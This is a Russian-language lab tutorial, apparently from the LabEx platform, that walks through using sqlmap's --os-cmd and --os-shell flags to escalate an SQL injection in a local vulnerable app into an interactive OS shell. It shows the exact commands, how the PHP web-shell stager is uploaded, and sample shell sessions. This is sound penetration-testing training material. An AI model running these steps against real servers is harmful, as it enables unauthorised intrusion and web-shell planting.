Введение
В этой лабораторной работе вы научитесь использовать sqlmap, популярный инструмент для тестирования на проникновение с открытым исходным кодом, для повышения уровня уязвимости SQL-инъекции до полноценной интерактивной оболочки операционной системы. Хотя sqlmap отлично подходит для перечисления и извлечения данных из баз данных, его возможности распространяются на получение контроля над базовым сервером.
Мы сосредоточимся на функции --os-shell, которая пытается загрузить веб-оболочку (stager) на целевой сервер, предоставляя вам командную строку для прямого взаимодействия с удаленной системой. Для этой лабораторной работы было настроено простое веб-приложение, уязвимое к SQL-инъекциям, и оно запущено на вашей локальной машине.
Подтверждение возможности выполнения команд ОС
На этом этапе, прежде чем пытаться получить полнофункциональную интерактивную оболочку, мы сначала проверим, можем ли мы выполнять команды в целевой операционной системе. Это критически важная предварительная проверка. Мы можем добиться этого, используя флаг --os-cmd в sqlmap, который инструктирует инструмент выполнить одну указанную команду.
Мы будем использовать команду whoami, которая выводит эффективное имя пользователя текущего пользователя. Мы также будем использовать флаг --batch, чтобы sqlmap работал с ответами по умолчанию на все интерактивные вопросы, что ускорит процесс.
Выполните следующую команду в вашем терминале:
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="whoami" --batch
Вы увидите много вывода, поскольку sqlmap тестирует цель. Дождитесь завершения. Ближе к концу вывода вы должны увидеть результат команды whoami.
...
[22:10:30] [INFO] fetching command output
[22:10:30] [INFO] retrieved: 'labex\n'
...
command execution stdout:
labex
...
Вывод labex подтверждает, что мы можем успешно выполнять команды на удаленном сервере от имени пользователя labex.
Использование флага --os-shell для запроса интерактивной оболочки
На этом этапе мы подготовим команду для получения полнофункциональной интерактивной оболочки. Теперь, когда мы подтвердили возможность выполнения команд ОС, мы можем действовать с большей уверенностью.
Флаг sqlmap для этого — --os-shell. При использовании этого флага sqlmap попытается загрузить "stager", который представляет собой небольшой фрагмент кода (в данном случае, PHP веб-оболочку), в записываемый каталог на веб-сервере. Этот stager затем предоставляет механизм для интерактивной командной оболочки.
Команда, которую мы будем использовать:
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-shell
Когда вы выполните эту команду на следующем шаге, sqlmap проведет вас через несколько запросов, чтобы определить наилучший способ загрузки stager. Мы не будем выполнять команду на этом шаге, а просто поймем ее назначение.
Выполнение команды для запуска оболочки
На этом шаге вы выполните команду для запуска интерактивной оболочки. sqlmap запросит ваш ввод, чтобы определить язык веб-приложения и корневой каталог документов сервера (основную папку веб-сайта).
Сначала выполните команду в вашем терминале:
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-shell
sqlmap запустится и может задать вам несколько вопросов.
Он может спросить о серверной СУБД (DBMS). Вы можете нажать Enter, чтобы принять значение по умолчанию, которое он, вероятно, уже обнаружил (например, SQLite).
Затем он спросит о корневом каталоге документов веб-сервера. Это критически важный шаг. sqlmap необходимо знать записываемый каталог для загрузки своей веб-оболочки. Согласно нашему скрипту настройки, правильный путь:
/home/labex/project/vulnerable_app.[?] what is the web server document root? [/var/www/html] >Введите следующий путь и нажмите Enter:
/home/labex/project/vulnerable_app
После того как вы укажете путь, sqlmap попытается загрузить stager. В случае успеха вы увидите сообщения, указывающие на загрузку, и попадете в новый приглашение: os-shell>.
...
[22:15:45] [INFO] trying to upload stager shell to '/home/labex/project/vulnerable_app'
[22:15:45] [INFO] uploading stager shell to '/home/labex/project/vulnerable_app/tmpueyge.php'
[22:15:45] [INFO] stager shell uploaded
os-shell>
Это приглашение os-shell> является вашей интерактивной оболочкой на удаленном сервере.
Взаимодействие с удаленной системой через приглашение оболочки sqlmap
На этом шаге вы будете взаимодействовать с удаленной системой, используя приглашение os-shell>, которое вы только что получили. Это приглашение — не ваш локальный терминал; каждая вводимая здесь команда отправляется на удаленный сервер и выполняется.
Давайте выполним пару простых команд, чтобы проверить наш доступ.
Сначала узнайте текущий рабочий каталог на удаленном сервере, введя pwd и нажав Enter.
os-shell > pwd
Вывод должен соответствовать каталогу, куда sqlmap загрузил свой файл stager.
/home/labex/project/vulnerable_app
Затем снова подтвердите свою личность пользователя в удаленной системе, введя whoami.
os-shell > whoami
Вывод снова должен быть labex.
labex
Теперь вы успешно выполнили команды в интерактивном режиме на целевой системе.
Выполнение нескольких команд и исследование файловой системы
На этом шаге вы проведете дальнейшее исследование файловой системы удаленного сервера. Интерактивная оболочка мощна, поскольку позволяет перемещаться по каталогам, просматривать файлы и понимать структуру сервера.
Сначала выведите содержимое текущего каталога (/home/labex/project/vulnerable_app) в длинном формате, используя команду ls -l.
os-shell > ls -l
Вы увидите файлы в этом каталоге, включая index.php, users.db и временную PHP веб-оболочку, загруженную sqlmap (например, tmpueyge.php).
total 20
-rw-r--r-- 1 labex labex 539 Dec 10 22:05 index.php
-rw-r--r-- 1 labex labex 45 Dec 10 22:15 tmpueyge.php
-rw-r--r-- 1 labex labex 12288 Dec 10 22:05 users.db
Теперь давайте попробуем перемещаться по файловой системе. Перейдите в родительский каталог (/home/labex/project), используя команду cd ...
os-shell > cd ..
Вы не увидите никакого вывода, но ваш текущий каталог на удаленном сервере изменился. Проверьте это, выведя содержимое нового каталога.
os-shell > ls
Вы должны увидеть в списке каталог vulnerable_app.
vulnerable_app
Теперь вы можете свободно исследовать файловую систему в пределах разрешений пользователя labex. Чтобы выйти из оболочки sqlmap и вернуться в свой обычный терминал, просто введите exit и нажмите Enter.
Резюме
В этой лабораторной работе вы успешно повысили привилегии уязвимости SQL-инъекции для получения полного доступа к командной строке удаленного сервера. Вы научились:
- Использовать флаг
--os-cmdв sqlmap для подтверждения возможности выполнения команд операционной системы. - Использовать флаг
--os-shellдля указания sqlmap установить интерактивную оболочку. - Предоставлять необходимую информацию, такую как корневой каталог веб-сервера (document root), для облегчения загрузки веб-оболочки (web shell).
- Взаимодействовать с удаленной системой, выполняя команды, такие как
pwd,whoami,lsиcd, через оболочку sqlmap.
Это упражнение демонстрирует критический риск безопасности, связанный с уязвимостями SQL-инъекций, поскольку они могут привести не только к краже данных, но и к полному компрометации системы.


